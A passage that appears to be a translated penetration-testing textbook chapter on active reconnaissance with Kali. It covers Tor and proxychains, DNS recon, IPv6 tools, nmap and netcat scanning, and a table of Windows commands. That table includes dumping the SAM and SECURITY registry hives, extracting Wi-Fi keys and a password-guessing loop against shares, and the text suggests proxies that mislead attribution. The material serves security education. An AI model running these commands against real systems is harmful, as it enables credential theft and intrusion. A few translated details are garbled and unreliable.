Tor (www.torproject.org) 是一种开源的第三代洋葱路由实现,提供免费的匿名代理网络访问。洋葱路由通过加密用户流量并通过一系列洋葱路由器进行传输,从而实现在线匿名性。在每个路由器上,都会去除一层加密以获取路由信息,然后将消息传输到下一个节点。它被比作逐层剥洋葱的过程,因此得名。它通过保护用户 IP 流量的源和目的地来防范流量分析攻击。

在此示例中,Tor 将与 Privoxy 一起使用,Privoxy 是一个不缓存的 Web 代理,位于与互联网通信的应用程序之间,并使用高级过滤确保隐私和去除广告,同时删除任何可能发送给测试者的潜在恶意数据。

安装 Tor,请执行以下步骤:

  1. 执行 apt-get updateapt-get upgrade 命令,然后使用以下命令:

    sudo apt install tor 
    
  2. 一旦安装了 Tor,请编辑位于 /etc 目录中的 proxychains4.conf 文件。该文件规定了测试系统在访问 Tor 网络时将使用的代理的数量和顺序。代理服务器可能宕机,或者可能出现过载(导致连接缓慢或延迟);如果发生这种情况,严格的 ProxyChain 将由于缺少预期链接而失败。因此,禁用 strict_chain 并启用 dynamic_chain,这样可以确保连接按照图 3.3所示进行路由:

    图 3.3:在 Proxychains4.conf 中启用动态链

  3. 编辑 [ProxyList] 部分,确保 socks5 代理存在,如图 3.4所示:

    图 3.4:将代理列表添加到 proxychains4.conf 中

    开放代理可以轻松地在线找到(例如 www.proxynova.com/proxy-server-list/),并添加到 proxychains.conf 文件中。测试人员可以利用这一点进一步模糊自己的身份。例如,如果有报告指出某个国家或 IP 地址段近期对在线攻击负责,可以从该位置查找开放代理并将其添加到你的列表或单独的配置文件中。

  4. 要从终端窗口启动 Tor 服务,输入以下命令:

    # sudo service tor start 
    
  5. 使用以下命令验证 Tor 是否已启动:

    # sudo service tor status 
    

    验证 Tor 网络是否正常工作并提供匿名连接非常重要。

  6. 首先验证你的源 IP 地址。从终端输入以下命令:

    # firefox www.whatismyip.com 
    

    这将启动 Iceweasel 浏览器并打开一个网站,提供与该网页连接的源 IP 地址。

  7. 注意 IP 地址,然后使用以下 ProxyChains 命令调用 Tor 路由:

    # proxychains firefox www.whatismyip.com 
    

    在这个特定实例中,IP 地址被识别为 xx.xx.xx.xx。从终端窗口对该 IP 地址进行 whois 查询,表明传输现在是从一个 Tor 出口节点退出,如 图 3.5 所示:

    图 3.5:你的随机分配的 IP 地址的 whois 详细信息

你还可以通过访问来验证 Tor 是否正常工作

check.torproject.org

尽管通信现在通过 Tor 网络得到保护,但仍然可能发生 DNS 泄漏,这种情况发生在系统进行 DNS 请求时,可能会泄露你的身份给 ISP。你可以在 www.dnsleaktest.com 上检查 DNS 泄漏。

大多数命令行可以通过 proxychains 从控制台运行,以访问 Tor 网络。在使用 Tor 时,需要注意以下几点:

  • Tor 提供匿名服务,但不保证隐私。出口节点的拥有者能够嗅探流量,并可能能够访问用户凭证。

  • 据报道,Tor 浏览器包中的漏洞已被执法机关用来攻击系统并获取用户信息。

  • ProxyChains 不处理用户数据报协议UDP)流量。

  • 某些应用程序和服务无法在这种环境中运行——尤其是 Metasploit 和 Nmap 可能会出现问题。Nmap 的隐蔽 SYN 扫描会突破 ProxyChains,改为使用连接扫描,这可能会泄露信息给目标。

  • 一些浏览器应用程序(如 Flash/ActiveX 或 HTML5)可以用来获取你的 IP 地址。

  • 攻击者还可以使用随机链接。使用此选项时,ProxyChains 会从我们的列表中随机选择 IP 地址(例如本地以太网 IP,127.0.0.1192.168.x.x172.16.x.x)并用它们来创建我们的 ProxyChain。这意味着每次使用 ProxyChains 时,代理链对目标看起来都不同,从而使追踪我们流量的来源变得更加困难。

  • 为此,以类似的方式编辑 /etc/proxychains4.conf 文件,注释掉 dynamic chains 并取消注释 random_chain,因为我们一次只能使用其中一个选项。

  • 此外,攻击者可以取消注释 chain_len 所在的行,这样在创建随机代理链时,链中的 IP 地址数量将由其决定。

攻击者可以使用此技术来建立合格的匿名性,并在网络上保持匿名。

DNS 侦察与路由映射

一旦测试者识别出具有在线存在并包含感兴趣项目的目标,下一步是识别目标的 IP 地址和路由。DNS 侦察关注的是识别谁拥有某个特定域名或一系列 IP 地址(这类信息可以通过 whois 获得,尽管自 2018 年 5 月起,通用数据保护条例GDPR)在欧洲生效后,这一过程已发生完全变化)。DNS 信息定义了分配给目标的实际域名和 IP 地址,以及渗透测试者或攻击者与最终目标之间的路由。

这一信息收集是半主动的,因为有些信息来自如 dnsdumpster.com 等公开的免费开放源,而其他信息则来自第三方,如 DNS 注册商。尽管注册商可能会收集与攻击者请求相关的 IP 地址和数据,但通常不会提供给最终目标。目标可以直接监控的信息,如 DNS 服务器日志,通常不会被审查或保留。

由于所需的信息可以通过定义的系统化和有条理的方法查询,因此其收集可以实现自动化。

请注意,DNS 信息可能包含过时或不准确的条目。为减少不准确信息的出现,可以查询不同的源服务器并使用不同的工具进行交叉验证。审查结果并手动验证任何可疑的发现。

whois 命令(GDPR 后)

whois 命令曾是识别 IP 地址的第一步,持续了多年,直到 GDPR 生效为止。以前,whois 命令用于查询存储互联网资源注册用户信息的数据库,如域名或 IP 地址。根据查询的数据库,whois 请求的响应将提供名称、物理地址、电话号码和电子邮件地址(有助于社交工程攻击),以及 IP 地址和 DNS 服务器名称。2018 年 5 月 25 日后,不再提供注册人详细信息;然而,攻击者仍可以了解哪个 whois 服务器响应,并且它会检索包括可用性、所有权、创建、到期详细信息和名称服务器在内的域名数据。图 3.6 显示了对 facebook.com 域运行 whois 命令的情况:

图 3.6:包含名称服务器详细信息的 facebook.com 域的 whois 信息

使用全面的侦察应用程序

虽然 Kali 包含多种工具来辅助侦察,但许多工具的功能重叠,并且将一个工具中的数据导入到另一个工具通常是一个复杂的手动过程。大多数测试人员选择一组子集工具,并通过脚本调用它们。

专注于侦察的综合工具最初是命令行工具,具有一组定义的功能;其中最常用的是 深度魔法信息收集工具DMitry)。DMitry 可以执行 whois 查找,检索 netcraft.com 信息,搜索子域和电子邮件地址,并执行 TCP 扫描。不幸的是,它在这些功能之外不可扩展。

图 3.7 提供了运行 DMitry 对 www.cyberhia.com 的详细信息。可以使用以下命令来枚举反向 DNS 到 IP 查找、Whois、子域、电子邮件地址和开放端口详细信息:

sudo dmitry -winsepo out.txt www.cyberhia.com 

图 3.7:运行 DMitry 提取域和 whois 信息

请注意,此处生成的一些信息可能属于提供 DNS 保护的托管公司。例如,如果我们的目标托管来自 Cloudflare 或 AWS 内容分发网络CDN)的名称服务器。

最近的进展促成了综合框架应用程序的出现,这些应用程序结合了被动和主动侦察。在接下来的部分,我们将更多地了解 recon-ng。

recon-ng 框架

recon-ng 框架是一个开源框架,用于进行侦察(被动和主动),最近新增了一个完整的插件市场。该框架类似于 Metasploit 和 Social Engineer ToolkitSET);recon-ng 使用一个非常模块化的框架。每个模块都是一个定制的命令解释器,预配置用于执行特定任务。

recon-ng 框架及其模块是用 Python 编写的,使得渗透测试人员可以轻松构建或修改模块以促进测试。recon-ng 工具还利用第三方 API 进行某些评估;这种额外的灵活性意味着 recon-ng 执行的一些活动可能会被这些第三方追踪。用户可以指定自定义useragent字符串或代理请求,以最小化对目标网络的警觉。

在 Kali 的较新版本中,recon-ng 默认已安装。recon-ng 收集的所有数据都将存储在数据库中,允许你根据存储的数据创建各种报告。用户可以选择其中一个报告模块,自动生成 CSV 报告或 HTML 报告。

要启动应用程序,请在提示符下输入recon-ng;要查看可用模块,请在recon-ng>提示符下输入marketplace search,如图 3.8所示:

图 3.8:在 recon-ng 中进行市场搜索以查找所有可用模块

要安装任何模块,我们只需运行marketplace install modulename,要加载特定模块,输入modules load后跟模块名。在输入时按Tab键会自动完成命令。如果模块有唯一的名称,你可以只输入名称的唯一部分,模块将被加载,而无需输入完整路径。

输入info将为你提供有关模块如何工作以及如何获取 API 密钥的信息(如果需要)。模块加载后,使用options set命令设置选项,然后输入run执行,如图 3.9所示:

图 3.9:加载 hackertarget 模块并将源设置为 www.packtpub.com

一般而言,测试人员依赖 recon-ng 进行以下操作:

  • 利用多个来源(如 haveibeenpwned、mangle、mailtester、censys 和 shodan)收集主机和联系人信息。

  • 使用 Flickr、Shodan、geocode、YouTube 和 Twitter 识别主机和个人的地理位置。

  • 使用netcraft和相关模块识别主机信息。

  • 识别以前已被泄露并暴露在互联网上的账户和密码信息(pwnedlist模块位于 domains-credentials 中——domain_ispwnedaccount_credsdomain_credsleak_lookupleaks_dump)。

IPv4

互联网协议IP)地址是用于标识连接到私人网络或公共互联网的设备的唯一编号。如今,互联网主要基于版本 4,即 IPv4。Kali 包含若干工具以促进 DNS 侦察,如表 3.2所示:

应用程序 描述
dnsenumdnsmapdnsrecon 这些是全面的 DNS 扫描工具——DNS 记录枚举(A、MX、TXT、SOA、通配符等)、子域名暴力攻击、Google 查找、反向查找、区域传输和区域遍历。dnsrecon 通常是首选——它非常可靠,结果解析良好,数据可以直接导入到 Metasploit 框架中。
dnswalk 该 DNS 调试器检查指定域的内部一致性和准确性(在 Kali 的新版本中未默认安装,因此需要运行 apt-get install dnswalk)。
fierce 该工具通过尝试区域传输并进行暴力破解攻击,定位与指定域名不相邻的 IP 空间和主机名,从而获得 DNS 信息。

表 3.2:Kali 中用于帮助 DNS 勘探的工具

在测试过程中,大多数调查人员首先运行 fierce 以确认已识别出所有可能的目标,然后运行至少两种全面的工具(例如 dnsenumdnsrecon)以生成最大量的数据,并提供一定程度的交叉验证。

图 3.10 中,dnsrecon 被用于生成标准 DNS 记录搜索,以及特定于 SRV 记录的搜索。每种情况下的结果摘录如下:

图 3.10:在 www.packtpub.com 上运行 dnsrecon 工具

dnsrecon 允许渗透测试人员获取 SOA 记录、名称服务器NS)、邮件交换器MX)主机、使用 发送者策略框架SPF)发送电子邮件的服务器,以及使用中的 IP 地址范围。

IPv6

尽管 IPv4 看似提供了大规模的地址空间,但几年前,免费的 IP 地址已被用尽,迫使人们使用 NAT 技术来增加可用地址的数量。一个更为永久的解决方案是在采用改进的 IP 地址方案 IPv6 后得以实现。尽管它只占互联网地址的不到 5%,但其使用率在不断增加,渗透测试人员必须做好应对 IPv4 和 IPv6 之间差异的准备。

在 IPv6 中,源地址和目标地址的长度为 128 位,共有 2¹²⁸ 个可能的地址——即 340 无穷大个地址!

地址空间增大的问题给渗透测试人员带来了一些困扰,尤其是在使用扫描器逐步扫描可用地址空间寻找存活的服务器时。然而,IPv6 协议的一些特性简化了发现过程,特别是使用 ICMPv6 来识别活动的链路本地地址。

在进行初步扫描时,考虑到以下原因,IPv6 是非常重要的:

  • 测试工具对 IPv6 功能的支持不均,因此测试人员必须确保验证每个工具,以确定其在 IPv4、IPv6 和混合网络中的性能和准确性。

  • 由于 IPv6 是一种相对较新的协议,目标网络可能包含泄露重要数据的配置错误;测试人员必须准备好识别并利用这些信息。

  • 旧的网络控制设备(如防火墙、IDS 和 IPS)可能无法检测到 IPv6。在这种情况下,渗透测试人员可以使用 IPv6 隧道来与网络保持隐蔽通信,并将未被检测到的数据外泄。

使用专门的 IPv6 工具

Kali 包含了若干开发的工具,旨在利用 IPv6(大多数全面的扫描器,如 Nmap,现在都支持 IPv6),其中一些工具在此进行了详细介绍。特定于 IPv6 的工具主要来源于 THC-IPv6 攻击工具包。可以通过运行以下命令来安装该工具:

sudo apt install thc-ipv6 

表 3.3 提供了用于 IPv6 侦察的工具列表:

应用 描述
atk6-dnsdict6 使用基于字典文件或自身内部列表的暴力搜索枚举子域名,以获取 IPv4 和 IPv6 地址(如果存在)
atk6-dnsrevenum6 根据 IPv6 地址执行反向 DNS 枚举
atk6-covert_send6 将文件内容隐蔽地发送到目标
atk6-covert_send6d 将隐蔽接收到的内容写入文件
atk6-denial6 对目标执行各种拒绝服务攻击
atk6-detect-new-ip6 检测加入本地网络的新 IPv6 地址
atk6-detect_sniffer6 测试本地局域网内的系统是否正在嗅探
atk6-exploit6 对目标执行已知的 IPv6 漏洞(CVE)的利用
atk6-fake_dhcps6 假冒 DHCPv6 服务器

表 3.3:Kali 中用于评估 IPv6 的工具

Metasploit 也可以用于 IPv6 主机发现。auxiliary/scanner/discovery/ipv6_multicast_ping 模块将发现所有启用 IPv6 的机器及其物理(MAC)地址,如 图 3.11 所示:

图 3.11:使用 Metasploit ipv6 扫描器发现网络中的 IPv6 设备

sudo atk6-alive6 IPv6 套件将发现同一段网络中的活动地址,如 图 3.12 所示:

图 3.12:使用 atk6-alive6 发现网络中的 IPv6 活跃设备

映射到目标的路径

路径映射最初作为诊断工具,允许您查看一个 IP 数据包从一个主机到另一个主机的路径。

通过使用 IP 数据包中的 生存时间TTL)字段,每经过一个节点,接收路由器会返回一个 ICMPTIME_EXCEEDED 消息,并将 TTL 字段中的值减少 1

数据包计算跳数和路径。对于攻击者或渗透测试人员来说,traceroute 数据提供了以下重要信息:

  • 攻击者和目标之间的确切路径

  • 与网络外部拓扑相关的提示

  • 确认访问控制设备(防火墙和数据包过滤路由器)是否在过滤攻击流量

  • 如果网络配置错误,可能会识别出内部地址

使用基于网页的 traceroute(www.traceroute.org),可以追踪到各种不同地理位置的源站点到目标网络。这种类型的扫描通常会发现多个不同的网络连接到目标,这些信息在仅从接近目标的地点执行单个 traceroute 命令时可能会被遗漏。基于网页的 traceroute 还可能识别出连接两个或多个网络的多宿主主机。这些主机是攻击者的重要目标,因为它们大大增加了通向目标的攻击面。

在 Kali 中,traceroute 是一个使用 ICMP 数据包来绘制路由的命令行程序;在 Windows 中,该程序是 tracert

如果从 Kali 启动 traceroute,你很可能会看到大多数跳数被过滤(数据以 * * * 显示)。例如,从作者当前所在的位置进行 traceroutewww.packtpub.com 时,输出将显示为 图 3.13 所示:

图 3.13:对 www.packtpub.com 进行的 traceroute 路由跟踪

如果使用 Windows 命令行中的 tracert 运行相同的请求,我们将看到如 图 3.14 所示的输出:

图 3.14:使用 Windows tracert 工具对 www.packtpub.com 进行 traceroute 路由跟踪

我们不仅可以获得完整的路径,还可以看到 www.google.com 解析到一个略微不同的 IP 地址,表明负载均衡器正在生效(你可以通过使用 Kali 的 lbd 脚本来确认这一点;不过,这一活动可能会被目标网站记录)。

路径数据的不同原因在于,traceroute 默认使用 UDP 数据报,而 Windows 的 tracert 工具则使用 ICMP 回显请求(ICMP 类型 8)。因此,在使用 Kali 工具完成 traceroute 时,重要的是使用多种协议来获取最完整的路径,并绕过数据包过滤设备。Kali 提供了一组完成路由跟踪的工具,详见 表 3.4

应用程序 描述
hping3 这是一个 TCP/IP 数据包组装和分析工具。它支持 TCP、UDP、ICMP 和原始 IP,并采用类似于 ping 的界面。
intrace Kali 的较新版本没有预装此工具,因此测试者需要在终端运行 apt install intrace 来获取它。这个工具通过利用现有的 TCP 连接(无论是从本地系统或网络发起的,还是来自本地主机)来枚举 IP 路由跳数。它对于绕过外部过滤器(如防火墙)非常有用。intrace 是一个替代不太可靠的 0trace 程序的工具。
atk6-trace6 这是一个使用 ICMP6 协议的 traceroute 程序。

表 3.4:可用于完成 trace routes 的 Kali 工具

hping3是最有用的工具之一,因为它可以控制数据包类型、源数据包和目标数据包。例如,Google 不允许 ping 请求。然而,如果将数据包作为 TCP SYN 请求发送,仍然可以 ping 服务器。

在以下示例中,测试者尝试从命令行 ping 目标域。没有返回数据;目标域显然正在阻止基于 ICMP 的ping命令。然而,下一条命令调用hping3,并指示它执行以下操作:

  • 使用设置了 SYN 标志的 TCP 发送类似 ping 的命令到目标域(-S

  • 将数据包定向到 80 端口;此类合法请求很少被阻止(- p 80

  • 设置发送三个数据包到目标的计数(-c 3

执行前述步骤时,使用图 3.15所示的命令:

图 3.15:通过 80 端口运行 hping3 测试目标

hping3命令成功识别目标在线,并提供一些基本的路由信息。

识别外部网络基础设施

一旦测试者的身份得到保护,下一步关键的是识别网络中可访问互联网部分的设备。攻击者和渗透测试人员使用这些信息执行以下操作:

  • 识别可能干扰(负载均衡器)或消除(防火墙和数据包检查设备)测试结果的设备

  • 识别具有已知漏洞的设备

  • 识别继续实施隐秘扫描的需求

  • 了解目标在安全架构和一般安全方面的关注点

traceroute提供有关数据包过滤能力的基本信息;Kali 中的其他一些应用程序包括:

  • Lbd:使用两种基于 DNS 和 HTTP 的技术来检测负载均衡器(如图 3.16所示)

  • Nmap:检测设备并确定操作系统及版本

  • Shodan:基于 Web 的搜索引擎,识别连接到互联网的设备,包括那些具有默认密码、已知错误配置和漏洞的设备

  • censys.iospyze:类似于已经扫描整个互联网的 Shodan 搜索,提供证书详细信息、技术信息、错误配置和已知漏洞。

图 3.16显示了在对目标域运行lbd脚本时获得的结果;如你所见,目标在其网站上使用了DNS-LoadbalancingHTTP-Loadbalancing。从渗透测试人员的角度来看,这些信息可以用来解释为什么获得了虚假结果,因为负载均衡器将特定工具的活动从一个服务器转移到另一个服务器。图 3.16还显示了 HTTP 负载均衡:

图 3.16:运行 lbd 检测负载均衡器

防火墙之外的映射

攻击者通常使用traceroute工具开始网络调试,traceroute尝试映射到特定目标主机或系统的路由中的所有主机。一旦目标被到达,TTL字段将为0,而目标将丢弃数据报并生成 ICMP 超时包返回给源主机。常规的traceroute图 3.17所示类似:

图 3.17:运行 traceroute 识别数据包过滤设备

正如从前面的示例中看到的那样,我们无法超越特定的 IP,这很可能意味着在跳数3处存在一个数据包过滤设备。攻击者会进一步挖掘,以了解该 IP 上部署了什么。

部署默认的 UDP 数据报选项时,每次发送 UDP 数据报时都会增加端口号。因此,攻击者将开始指向一个端口号,以便到达最终目标位置。

IDS/IPS 识别

渗透测试人员可以使用nmapWAFW00F来识别是否存在检测或防御机制,如入侵检测系统IDS)、入侵防御系统IPS)或Web 应用程序防火墙WAF)。

攻击者在主动侦察过程中使用的另一个工具是WAFW00F;该工具在最新版本的 Kali Linux 中已预装。它用于识别和指纹识别 WAF 产品,并提供已知 WAF 的列表。可以通过向命令添加-l开关来提取正在使用的 WAF 版本(例如,wafw00f -l)。图 3.18 显示了运行在 Web 应用程序背后的具体 WAF:

图形用户界面  自动生成的描述

图 3.18:运行 wafw00f 指纹识别 Web 应用程序防火墙

主机枚举

主机枚举是获取有关特定主机详细信息的过程。仅知道服务器或无线接入点的存在是不够的;相反,我们需要通过识别开放端口、基础操作系统、正在运行的服务以及支持的应用程序来扩展攻击面。这是高度侵入性的,除非小心处理,否则这种活动会被目标组织检测到并记录。

活跃主机发现

第一步是对目标地址空间进行网络 ping 扫描,并查找指示特定目标处于活动状态并能够响应的响应。历史上,ping 通常指的是使用 ICMP;然而,TCP、UDP、ICMP 和 ARP 流量也可以用于识别活动主机。

各种扫描器可以通过互联网的远程位置运行,以识别活动主机。虽然主要的扫描器是 Nmap,Kali 还提供了其他一些有用的应用程序,如表 3.5所示:

应用程序 描述
atk6-alive6atk6-detect-new-ip6 这是用于 IPv6 主机检测的工具。Atk6-detect-new-ip6 以脚本方式运行,当新 IPv6 设备被添加时,会自动识别。
dnmapnmap nmap 是标准的网络枚举工具。dnmap 是 Nmap 扫描器的分布式客户端-服务器实现。PBNJ(一个用于监控网络上变化的工具套件)将 Nmap 结果存储在数据库中,并进行历史分析,以识别新主机。
fpinghping2hping3nping 这些是数据包构造工具,它们通过不同的方式响应目标,帮助识别在线主机。

表 3.5:在 Kali Linux 中用于发现在线主机的工具

对于渗透测试员或攻击者来说,从在线主机发现中返回的数据将确定攻击目标。

在进行渗透测试时,最好运行多个主机发现扫描,因为某些设备可能是时间敏感的。在一次渗透测试中,发现系统管理员在正常工作时间结束后设置了一台服务器用于玩游戏。由于这不是一个经过批准的业务系统,管理员没有按照正常流程为服务器提供安全保护;服务器上有多个易受攻击的服务,且未安装必要的安全补丁。测试人员通过利用管理员用于玩游戏的服务器中的漏洞,成功攻破了该服务器并获得了访问底层企业网络的权限。

端口、操作系统和服务发现

Kali 提供了几种不同的工具,适用于识别远程主机上开放的端口、操作系统和已安装的服务。大多数功能可以通过 Nmap 完成。虽然我们会重点介绍使用 Nmap 的示例,但其基本原理同样适用于其他工具。

端口扫描

端口扫描是连接到 TCP 和 UDP 端口的过程,用来确定目标设备上正在运行的服务和应用程序。在 TCP/IP 中,每台计算机有 65,535 个端口,分别用于 TCP 和 UDP。有些端口已知与特定服务相关联(例如,TCP 20 和 21 是 文件传输协议 (FTP) 服务的常用端口)。

前 1,024 个端口是众所周知的端口,大多数定义的服务都在这个范围内运行;已接受的服务和端口由 IANA 维护(www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml)。

虽然某些服务有预定义的端口,例如 80 端口用于网页流量,但服务可以被配置为使用任何端口。这个选项常常用于隐藏特定服务,特别是当服务已知易受攻击时。然而,如果攻击者完成端口扫描后没有发现预期的服务,或者发现服务使用了不常见的端口,他们将会被促使进一步调查。

通用端口映射工具 Nmap 依赖于主动栈指纹识别。特制的数据包被发送到目标系统,操作系统对这些数据包的响应使 Nmap 能够识别操作系统。为了使 Nmap 工作,必须至少有一个监听端口是开放的,并且操作系统必须已知并进行指纹识别,且该指纹的副本已存储在本地数据库中。

使用 Nmap 进行端口发现时会产生大量噪声;它将被网络安全设备检测到并记录下来。需要记住的几点如下:

  • 聚焦于隐蔽性的攻击者和渗透测试人员只会测试那些影响他们所追踪的目标的杀伤链的端口。如果他们正在发起一个利用 web 服务器漏洞的攻击,他们会寻找具有可访问端口80443,或端口80808443的目标。

  • 大多数端口扫描器都有默认的端口列表,扫描这些端口以确保你知道列表中有哪些端口,以及哪些端口被遗漏了。需要考虑 TCP 和 UDP 端口。

  • 成功的扫描需要对 TCP/IP 及相关协议、网络以及特定工具如何工作的深刻理解。例如,SCTP 是一个越来越常见的网络协议,但在公司网络中很少进行测试。

  • 即使是慢速进行的端口扫描,也可能会影响网络。一些旧的网络设备和来自特定厂商的设备在接收或传输端口扫描时会被锁定,从而将扫描变成拒绝服务攻击。

  • 用于扫描端口的工具,特别是 Nmap,正在扩展其功能。它们还可以用于检测漏洞并利用一些简单的安全漏洞。

使用 netcat 编写你自己的端口扫描器

当攻击者利用代理应用和 Tor 网络时,也可以编写自己的自定义网络端口扫描器。以下的一行命令可以在渗透测试中使用,仅通过使用 netcat 就能识别开放端口的列表,如图 3.19所示:

while read r; do nc -v -z $r 1-65535; done < iplist 

图 3.19:运行一行 Bash 脚本进行端口扫描

相同的脚本可以修改为针对单一 IP 的更具针对性的攻击,如下所示:

while read r; do nc -v -z target $r; done < ports 

使用自定义端口扫描器时,任何入侵检测系统被警报的可能性都比使用其他端口扫描器时要高。

操作系统指纹识别

确定远程系统操作系统的方法是通过两种类型的扫描来完成的:

  • 主动指纹识别:攻击者向目标发送正常和畸形的数据包,并记录其响应模式,这称为指纹。通过将指纹与本地数据库进行比对,可以确定操作系统。

  • 被动指纹识别:攻击者嗅探或记录并分析数据包流,以确定数据包的特征。

主动指纹识别比被动指纹识别更快、更准确;在 Kali 中,主要的主动工具是 Nmap。Nmap 工具向目标网络注入数据包,并分析其接收到的响应。在图 3.20中,-O标志命令 Nmap 确定操作系统:

nmap -sS -O target.com 

图 3.20:Nmap 扫描以识别目标的操作系统

请注意,目标系统隐藏真实操作系统是相对简单的。由于指纹识别软件依赖于数据包设置,如生存时间或初始窗口大小,改变这些值或其他用户可配置的设置会改变工具的结果。一些组织会主动更改这些值,以使侦察的最终阶段更加困难。

确定活动服务

侦察阶段的最终目标是识别目标系统上运行的服务和应用程序。如果可能,攻击者将希望知道服务类型、供应商和版本,以便更容易识别潜在的漏洞。以下是一些用于确定活动服务的技术:

  • 识别默认端口和服务:如果远程系统被识别为运行 Microsoft 操作系统,并且端口80(WWW 服务)处于开放状态,攻击者可能会假设已安装了默认的 Microsoft IIS。将使用额外的测试来验证这一假设(使用 Nmap)。

  • 横幅抓取:这通常使用如 amap、netcat、Nmap 和 Telnet 等工具进行。

  • 检查默认网页:某些应用程序会安装默认的管理、错误或其他页面。如果攻击者访问这些页面,它们将提供关于已安装应用程序的信息,这些应用程序可能存在安全漏洞。在图 3.21中,攻击者可以轻松识别出目标系统上已安装的 Microsoft IIS 版本。

  • 查看源代码:配置不当的基于 Web 的应用程序可能会对某些 HTTP 请求(如HEADOPTIONS)作出响应,这些响应中可能包含 Web 服务器的软件版本,甚至可能包括基本操作系统或使用的脚本环境。在图 3.21中,netcat从命令行启动,用于向特定网站发送原始的HEAD数据包。该请求生成了成功消息(200 OK);然而,它也识别出服务器正在运行 Microsoft IIS 7.5,并且由 ASP.NET 驱动:

    nc -vv www.target.com port number and then enter HEAD / HTTP/1.0 
    

    图 3.21:使用 netcat 抓取目标的横幅

大规模扫描

在测试较大的组织时,通常会涉及多个类 B/C IP 范围的大规模扫描。例如,对于全球性公司,通常存在多个 IP 块作为外部面向互联网的部分。如第二章《开源情报与被动侦察》中所述,攻击者进行扫描时没有时间限制,而渗透测试人员有时间限制。渗透测试人员可以使用多种工具执行该活动;Masscan 是其中之一,可用于扫描大规模的 IP 块,快速分析目标网络中的活动主机。Masscan 在 Kali 中是默认安装的。

Masscan 的最大优势在于主机、端口、速度的随机化,灵活性和兼容性。图 3.22展示了一个类 C 网络的扫描,几秒钟内即可完成,并识别出目标主机上端口 80 上可用的 HTTP 服务:

图 3.22:在类 C IP 范围内运行 masscan 以发现 TCP 开放端口 80

DHCP 信息

动态主机配置协议DHCP)是一项动态分配 IP 地址给网络主机的服务。此协议在 TCP/IP 协议栈的数据链路层的 MAC 子层中运行。选择自动配置时,会向 DHCP 服务器发送广播查询,当 DHCP 服务器响应时,客户端会向 DHCP 服务器发送广播查询请求所需的信息。服务器将为系统分配一个 IP 地址,并提供其他配置参数,如子网掩码、DNS 和默认网关。

嗅探是一种非常有效的被动信息收集方法,一旦连接到网络,攻击者可以通过运行 Wireshark 工具开始嗅探,看到大量广播流量,如图 3.23所示:

图 3.23:Wireshark 中的广播网络流量

我们现在会看到 DNSNBNSBROWSER 及其他可能揭示主机名、VLAN 信息、域名和活动子网的协议流量。我们将在第十一章《目标行动与横向移动》中讨论更多与嗅探相关的攻击。

内部网络主机的识别与枚举

如果攻击者的系统已经配置了 DHCP,它将提供一些非常有用的信息,有助于映射内部网络。可以通过在 Kali 终端中输入 ifconfig 来获取 DHCP 信息,如图 3.24所示;你应该能够看到详细的信息:

图 3.24:以太网适配器的 ifconfig 详细信息

  • inet:DHCP 服务器提供的 IP 信息应至少为我们提供一个活动子网,可以通过不同的扫描技术来识别活动系统和服务的列表。

  • 子网掩码:此信息可用于计算子网范围。从前面的截图来看,我们有 255.255.255.0,这意味着 CIDR/24,我们可以大致预期在同一子网中有 255 个主机。 |

  • 默认网关:网关的 IP 信息提供了 ping 其他类似网关 IP 的机会。例如,如果默认网关的 IP 是 10.10.10.1,通过 ping 扫描,攻击者可能能够枚举其他相似的 IP 地址,如 10.10.20.1 和 10.10.20.1。 |

  • 其他 IP 地址:DNS 信息可以通过访问 /etc/resolv.conf 文件获得。该文件中的 IP 地址通常会在所有子网中使用,并且在 DHCP 过程中,域信息也会自动添加到该文件中。 |

本地 MS Windows 命令

表 3.6 提供了一份渗透测试或红队演练中有用命令的清单,即使只有物理访问权限或具有远程 Shell 与目标系统进行通信时也能使用。然而,这并不是一个详尽的列表:

命令 示例 描述
nslookup nslookup``Server nameserever.google.com``Set type=any``ls -d anydomain.com nslookup 用于查询 DNS。示例命令展示了如何使用 nslookup 进行 DNS 区域传输。
net view net view 该命令显示计算机/域和其他共享资源的列表。
net share net share list="c:" 该命令用于管理共享资源,并显示本地系统上所有共享资源的相关信息。
net use net use \\[targetIP] [password] /u:[user]``net use \\[targetIP]\[sharename] [password] /u:[user] 该命令用于连接同一网络上的任何系统,也可用于检索网络连接列表。
net user net user [UserName [Password &#124; *] [options]] [/domain]``net user [UserName {Password &#124; *} /add [options] [/domain]]``net user [UserName [/delete] [/domain]] 该命令显示与用户相关的信息,并执行与用户帐户相关的活动。
arp arp /a``arp /a /n 10.0.0.99``arp /s 10.0.0.80 00-AA-00-4F-2A-9C 该命令显示并修改 ARP 缓存中的条目。
route route print``route print 10.*``route add 0.0.0.0 mask 0.0.0.0 192.168.12.1``route delete 10.* 类似于 ARP,route 可用于了解本地 IP 路由并修改这些信息。
netstat netstat -n -o 该命令显示本地系统上所有活动的 TCP 连接和端口;即显示监听中的连接、已建立连接和在网络适配器 IP 地址上等待的连接。
nbtstat nbtstat /R``nbtstat /S 5``nbtstat /a Ip 该命令显示 NETBIOS 信息,通常用于识别某个 IP 的 MAC 地址,这可用于 MAC 欺骗攻击。
wmic wmic process get caption,executablepath,commandline``netsh wlan show profile "profilename" key=clear wmic 被用于攻击者执行所有典型诊断;例如,系统的 Wi-Fi 密码可以通过一条命令提取。
reg reg save HKLM\Security sec.hive reg save HKLM\System sys.hive reg save HKLM\SAM sam.hive reg add [\\TargetIPaddr\] [RegDomain][ \Key ]``reg export [RegDomain]\[Key] [FileName]reg import [FileName ]``reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /v [Valuename!] reg 命令被大多数攻击者用于保存注册表配置单元,以进行离线密码攻击。
for for /L %i in (1,1,10) do echo %ii && ping -n 5 IP``for /F %i in (password.lst) do @echo %i& @net use \\[targetIP] %i /u:[用户名] 2>nul&& pause && echo [用户名] :%i>>done.txt for 循环可以在 Windows 中用于创建端口扫描器或枚举账户。

表 3.6:渗透测试活动中的常用 Windows 命令

ARP 广播

在内部网络主动侦察过程中,可以使用 nmapnmap -v -sn IPrange)扫描整个本地网络并嗅探 ARP 广播。此外,Kali 也有 arp-scanarp-scan IP range)来识别同一网络上存活的主机列表。

图 3.25 是 Wireshark 的截图,展示了在对整个子网运行 arp-scan 时生成的目标流量。这被认为是一种非隐蔽扫描:

图 3.25:在 Wireshark 上进行 ARP 扫描的网络流量

Ping 扫描

Ping 扫描是对整个网络 IP 地址范围或单个 IP 进行 ping 测试的过程,用来检查它们是否存活并做出响应。攻击者在进行大规模扫描时的第一步是枚举所有有响应的主机。渗透测试人员可以利用 fpingnmap,甚至编写自定义的 Bash 脚本来执行该活动:

fping -g IPrange
